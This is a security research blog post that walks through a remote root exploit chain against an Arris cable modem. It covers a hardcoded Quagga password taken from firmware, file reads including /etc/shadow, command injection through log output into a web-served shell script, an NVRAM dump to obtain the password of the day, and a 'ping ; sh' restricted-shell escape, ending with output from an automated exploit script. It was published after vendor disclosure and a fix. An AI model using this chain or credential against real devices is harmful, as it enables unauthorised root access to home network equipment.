Hacking an Arris Cablemodem | 2016-02-12 15:00 |
Welcome to part four in our four part series on firmware and embedded devices. In our final part, we will discuss a remote root vulnerability in a popular cable modem. Awhile ago, we were shown the administrator portal for a particular cable modem vendor. Old school, right? Still, what an interesting attack vector, we thought. We realize ISPs need some degree of access in order to properly provision modems, but how much should you trust your ISP (and who they partner with) to make security decisions for you? Personally, we only believe in what can be measured and this meant our hands needed to get dirty... Don't worry root, we're coming for you!
Finding information about our target modem (Arris DG1670A/TG1670) was difficult. We discussed it with our ISP at length, but to no avail. This included sales, field technicians, and customer support at various escalation levels. Nobody would talk. What's worse was that all of our research was turning up no other information. The search went on for quite some time.
On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. A link to it even ended up on /r/netsec from reddit. The repository had firmware images for popular cable modems. Albiet a slightly older revision, ours target was on the list!
Repository: https://github.com/detrojones/Junkyard.git Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img
The firmware images and supporting documentation within the repository listed above vanished during our disclosure process. If you're truly interested though, you may still be able to locate it as deleting things from the internet is a... tad difficult.
Below is a listing of the squashfs-root directory contained within the image:
bin etc gw.fsname include linuxrc nvram sbin share tmp var version dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop
The default IP address assigned to our Arris modem is 192.168.100.1, which is conveniently routable from networks where the modem is attached. Below is the Nmap output of services listening on the default IP address:
# sudo nmap -T5 -sU -sT -p- 192.168.100.1 Nmap scan report for 192.168.100.1 Host is up (0.0053s latency). PORT STATE SERVICE VERSION 80/tcp open http lighttpd 443/tcp open ssl/http lighttpd 2602/tcp open ripd? 8080/tcp open http lighttpd
A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if you grep through the content of the file system there are several .conf files containing cleartext passwords. One of the files containing passwords is called zebra.conf. We decided to use this passphrase on the Quagga telnet console.
# grep -ri "password" *.conf | more etc/default/ripngd.conf:password JhAkuo18 etc/default/zebra.conf:password JhAkuo18 etc/default/ripd.conf:password JhAkuo18 $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT>
Entering a '?' at any point gives context-sensitive help text. There are several layers of privilege, though there are no restrictions on elevation - knowing the right commands is enough. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In this particular case, it has been implemented on the cable modem to facilitate route provisioning from ISP onto the public internet. (Note, we don't think current, default Quagga installs are vulnerable/exploitable; see the advisory.)
PROMPT> ? echo Echo a message back to the vty enable Turn on privileged mode command exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty PROMPT> enable PROMPT# ? clear Reset functions configure Configuration from vty interface copy Copy configuration debug Debugging functions (see also 'undebug') disable Turn off privileged mode command echo Echo a message back to the vty end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list logmsg Send a message to enabled logging destinations no Negate a command or set its defaults quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty write Write running configuration to memory, network, or terminal PROMPT# configure ? terminal Configuration terminal PROMPT# configure terminal PROMPT(config)# ? access-list Add an access list entry banner Set banner string debug Debugging functions (see also 'undebug') enable Modify enable password parameters end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system hostname Set system's network name interface Select an interface to configure ip IP information ipv6 IPv6 information key Authentication key management line Configure a terminal line list Print command list log Logging control no Negate a command or set its defaults password Assign the terminal connection password quit Exit current mode and down to previous mode route-map Create route-map or enter route-map command mode router Enable a routing process service Set up miscellaneous service show Show running system information write Write running configuration to memory, network, or terminal
We assert that the service message of the day banner can be abused to allow for arbitrary file reading. We also assert that the logging mechanism can be abused to allow for meaningful writes. Since we have yet to see an embedded device properly segment user privilege, we make these assertions based upon the assumption that the user running the Quagga daemon is root. The combination of these factors can be used to obtain remote command execution on the underlying operating system of the modem.
PROMPT(config)# banner motd file ? file Banner from a file PROMPT(config)# log file ? FILENAME Logging filename PROMPT(config)# exit PROMPT# log notifications ? MESSAGE The message to send
Reading arbitrary files:
PROMPT(config)# banner motd file /etc/shadow # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7::: User Access Verification Password:
The successful response also indicates our assumption is likely correct and that the user root is running the Quagga daemon. By the way, the password for the hash shown above is not too hard to guess. Cracking it is left as an excercise for the reader.
Meaningful file writes:
PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/kore-log.txt PROMPT(config)# log file /var/tmp/kore-log.txt PROMPT(config)# exit PROMPT# log notifications KORELOGIC # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. 2015/09/10 07:16:50 RIP: KORELOGIC User Access Verification Password:
It appears as though we can write files. After further testing, we confirmed that file permissions (and read-only mounted filesystems) heavily restrict the locations where writes are allowed. Getting past the leading date/time prefix prior to attacker input was an initial concern. However, this proved easy to get around with some shell fu.
Separately, we had noted the existance of several symlinks within the web root that pointed to writable directories.
# ls -la usr/www/*.sh lrwxrwxrwx 1usr/www/guioff.sh -> /var/tmp/guioff.sh lrwxrwxrwx 1 usr/www/guion.sh -> /var/tmp/guion.sh # cat var/tmp/guion.sh echo 1 > /nvram/8/guiflag # cat var/tmp/guioff.sh echo 0 > /nvram/8/guiflag
After reviewing the lighttpd.conf file, we could see there was, in fact, a handler defined for shell scripts.
#ARRIS CHANGE BEGIN #### CGI module cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl", ".sh" => "/bin/sh", "/walk" => "/fss/gw/usr/bin/web2snmp", "/snmpSet" => "/fss/gw/usr/bin/web2snmp", "/snmpGet" => "/fss/gw/usr/bin/web2snmp", "/login" => "/fss/gw/usr/bin/web2snmp", "/backup" => "/fss/gw/usr/bin/web2snmp", "/restore" => "/fss/gw/usr/bin/web2snmp", "/hsd" => "/fss/gw/usr/bin/web2snmp", "/setPassword" => "/fss/gw/usr/bin/web2snmp", # UNIHAN ADD START "/storelog" => "/fss/gw/usr/bin/web2snmp", "/checkPassword" => "/fss/gw/usr/bin/web2snmp" # UNIHAN ADD END )
We knew we could write to the /var/tmp/ directory because we had been previously using it for temporary file storage. Using a simple shell pipe (i.e., '|') to ignore the leading date/time prefix solved the problem of not being able to control log data before our command string.
PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guion.sh PROMPT(config)# exit PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1` PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/shell.txt
Followed by a GET request:
GET /guion.sh HTTP/1.1 Host: 192.168.100.1:8080 User-Agent: Mozilla/5.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Connection: close
And response:
HTTP/1.1 200 OK Content-Length: 0 Date: Wed, 09 Sep 2015 20:28:55 GMT Server: lighttpd
Now we telnet:
$ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux User Access Verification Password:
The disclosure process was pretty routine. Along the way, we noticed some other vulnerabilities being dropped that were similiar to ours.
Example: https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html
Although w00tsec discusses a newer revivision of the firmware, almost everything is applicable. The CGI page where they enable SSH (tech_support_cgi) with mini_cli does not exist in the version we have, that's the only difference we observed though. The w00tsec research team discusses a new attack which partially leverages an older vulnerability relating to the password of the day authentication feature. The seed value used is well known and they were able to make use of this knowledge in their attack against the authentication requirement for tech_support_cgi. This page let them enable the mini_cli shell. It was a good read.
We still wanted a full shell though. It would be easy to do from here, but not as fun as leveraging more vulnerabilities to do the same thing. So.. Now we'll combine the discoveries by w00tsec with those of our own and bring a full root shell to the DG1670A/TG1670!
First we logged into Quagga:
# telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT> enable PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guioff.sh PROMPT(config)# exit
Below is a useful symlink we will abuse in our attack to obtain a copy of NVRAM:
lrwxr-xr-x 1ts_report.log.txt -> /var/log/trouble_report.txt
We need to obtain NVRAM like so:
PROMPT# log notifications | cat /dev/mmcblk0p3 >> /var/log/trouble_report.txt
We will need to download trouble_report.txt later.
PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guion.sh PROMPT(config)# exit
We also set up to start telnetd with the mini_cli shell. This is the same shell w00tsec abuses in their blog.
PROMPT# log notifications | /sbin/utelnetd -l /usr/sbin/mini_cli
Some clean up:
PROMPT# configure terminal PROMPT(config)# log file /var/tmp/kore.log PROMPT(config)# quit
Now we can kick off our attack. First we start by executing guioff.sh on the modem so that a copy of NVRAM can be obtained.
# curl -v http://192.168.100.1:8080/guioff.sh * Trying 192.168.100.1... * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0) > GET /guioff.sh HTTP/1.1 > Host: 192.168.100.1:8080 > User-Agent: curl/7.43.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length: 0 < Date: Sun, 22 Nov 2015 09:01:11 GMT < Server: lighttpd < * Connection #0 to host 192.168.100.1 left intact
Next we will wget the NVRAM file from the modem:
# wget http://192.168.100.1:8080/ts_report.log.txt --2015-11-22 09:01:44-- http://192.168.100.1:8080/ts_report.log.txt Connecting to 192.168.100.1:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 2097152 (2.0M) [application/octet-stream] Saving to: "ts_report.log.txt" 100%[===========================================>] 2,097,152 1.44MB/s in 1.4s 2015-11-22 09:01:46 (1.44 MB/s) - "ts_report.log.txt" saved [2097152/2097152]
A quick file command on the file shows that it is a ext3 filesystem.
# file ts_report.log.txt ts_report.log.txt: Linux rev 1.0 ext3 filesystem data (needs journal recovery) # mv ts_report.log.txt nvram.ext3
Now to mount and get the password we need for the mini_cli service:
# mkdir nvram; mount -o loop -t ext3 nvram.ext3 nvram/ # ls nvram/ 0 1 2 3 6 8 lost+found mocasave.conf pcd_error_log.txt # cat nvram/1/100 [redacted]
Sweet, we got our password. It doesn't follow the same structure as those discussed in the w00tsec research. It looks like our ISP has changed the seed.
It is our understanding that ISPs have the ability to change this password on a daily basis if they so desire. In practice though, it has not been our experience that this is the case. We've observed these passwords change in a non-deterministic pattern occuring once every month or so, your ISPs mileage may vary. The information redacted below contains the name of the ISP our target modem is connected to, and IP addresses to their NTP servers.
# cat nvram/8/bootfile.xml <?xml version="1.0" encoding="UTF-8"?> <deviceConfig version="1.0"> <!-- generated Sun Nov 16:58:54 2015 UTC by [redacted] --> <wireless enabled="true"> <ssid index="0" enabled="false"></ssid> <ssid index="1" enabled="false"></ssid> <ssid index="2" enabled="false"></ssid> <ssid index="3" enabled="false"></ssid> </wireless> <moca enabled="false"></moca> <ethernet enabled="true"></ethernet> <gateway> <ntp> <server>[redacted]</server> <server>[redacted]</server> </ntp> <firewall enabled="true"> <ipFloodDetect>false</ipFloodDetect> </firewall> </gateway> <userAccounts> <account name="technician" enabled="true"> <password>[redacted]</password> </account> <account name="root" enabled="true"> <password>[redacted]</password> </account> </userAccounts> </deviceConfig>
Anyhow, now we need to start the mini_cli shell. We'll call the guion.sh file which was modified to include commands that will start a telnet service with mini_cli as the shell.
# curl -v http://192.168.100.1:8080/guion.sh * Trying 192.168.100.1... * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0) > GET /guion.sh HTTP/1.1 > Host: 192.168.100.1:8080 > User-Agent: curl/7.43.0 > Accept: */* >
It will hang until the shell is closed. Go ahead and telnet to port 23.
# telnet 192.168.100.1 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. `!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM::~ ``!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM!:~` ~ !MMMMMMMMMMMMMMMMMMMMMMM!:` :~~ :MMMMMMMMMMMMMMMM!~ :~~~~ .:MMMMMMMMMM!:~ ~~~~~~ ..:MMMMMMM!:~` :~~~~~~~ .:MMMMMM:~` ::~~~~~~~~~ .:MMMMM:~ .!!!!!!: ~~~~ ..:MMM:~` .!!!!` ~ ..:MM:~` !!` .:M:~` AA RRRRRRR RRRRRRR III SSSSS AAAA RRRRRRRRR RRRRRRRRR III SSSSSSSSS AAAAAA RRR RRR RRR RRR III SSS SS AAA AAA RRR RRRR RRR RRRR III SSSS AAA AAA RRRRRRRRR RRRRRRRRR III SSSSSS AAAAAAAAAAAA RRR RRR RRR RRR III SSSS AAA AAA RRR RRR RRR RRR III SS SSS AA AA RRR RRR RRR RRR III SSSSSSSSS A A RRR R RRR R III SSSSS Copyright ARRIS Enterprises, Inc. 2014 All rights reserved
Here we will input the password obtained from NVRAM:
Enter password> [redacted]
This spawns the console:
Spawning ARRIS Console Firmware Revision: 8.0.124 [cut for length]
Next we enter the 'system' sub-menu.
[ 1] Console> system
Here is where the final payload is delivered. w00tsec shows (in assembly) how the restricted shell can be broken by appending a ; at the end of your restricted command followed by the busybox binary you with to run.
[ 2] System> ping ; sh ping -I wan0 ; sh BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary. Usage: ping [OPTIONS] HOST BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash) Enter 'help' for a list of built-in commands. #
In order to make exploitation easier, we've written an automated exploit: kl-arris-dg1670a-remote-root.py
# python kl-arris-dg1670a-remote-root.py --host 192.168.100.1 -------------------------------------------------------------------------------- Arris DG1670A/TG1670 remote root Brought to you by KoreLogic @thatguylevel -------------------------------------------------------------------------------- [+] Testing connectivity to the Quagga service. [+] Connected to Quagga successfully. [+] Testing connectivity to the HTTP service. [+] Connected to HTTP successfully. [+] Getting Password-of-the-Day from NVRAM. [+] Setting up NVRAM attack against environment. [+] Getting NVRAM from HTTP service. [+] Mounting NVRAM partition. [+] Creating nvram/ directory. [+] Got Password-of-the-Day: [redacted] [+] Enabling Arris Mini CLI. [+] Configuring the Arris Mini CLI attack. [+] Started the Arris Mini CLI thread. [+] Sleeping for 10 seconds and triggering shell. [+] Running the poisoned HTTP shell handler. ping ; sh ping -I wan0 ; sh BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary. Usage: ping [OPTIONS] HOST BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash) Enter 'help' for a list of built-in commands. #
We notified Arris, who released updated firmware; our ISP has pushed the fix to our devices, but of course YMMV. We tested the file-read and file-write issues against the current release of Quagga and do not think it is affected. You can see more details in the advisory we published.
We hope you enjoyed reading this entry and the series overall. Shout out to w00tsec and #io @ Smash the Stack. Continue following our blog (and twitters: @CrackMeIfYouCan and @thatguylevel) for new vulnerabilities and exploitation techniques!
Protip: If Quagga isn't running, ask your ISP for a static IP address.
4 comments | Posted by Matt & Hank at: 15:00 permalink |
Hank wrote at 2016-03-23 14:29:
Hi! No comment on what ISP(s) we found vulnerable at the time, other than to say they appeared to have rolled out fixes before the disclosure went public.
Carl wrote at 2016-03-28 13:47:
Thank you!
Hank wrote at 2021-09-09 14:20:
Note, updated the github repo link as the old one is gone; thanks to @k80theshade for pointing this out.
Comments are closed for this story.
Carl wrote at 2016-03-23 13:14: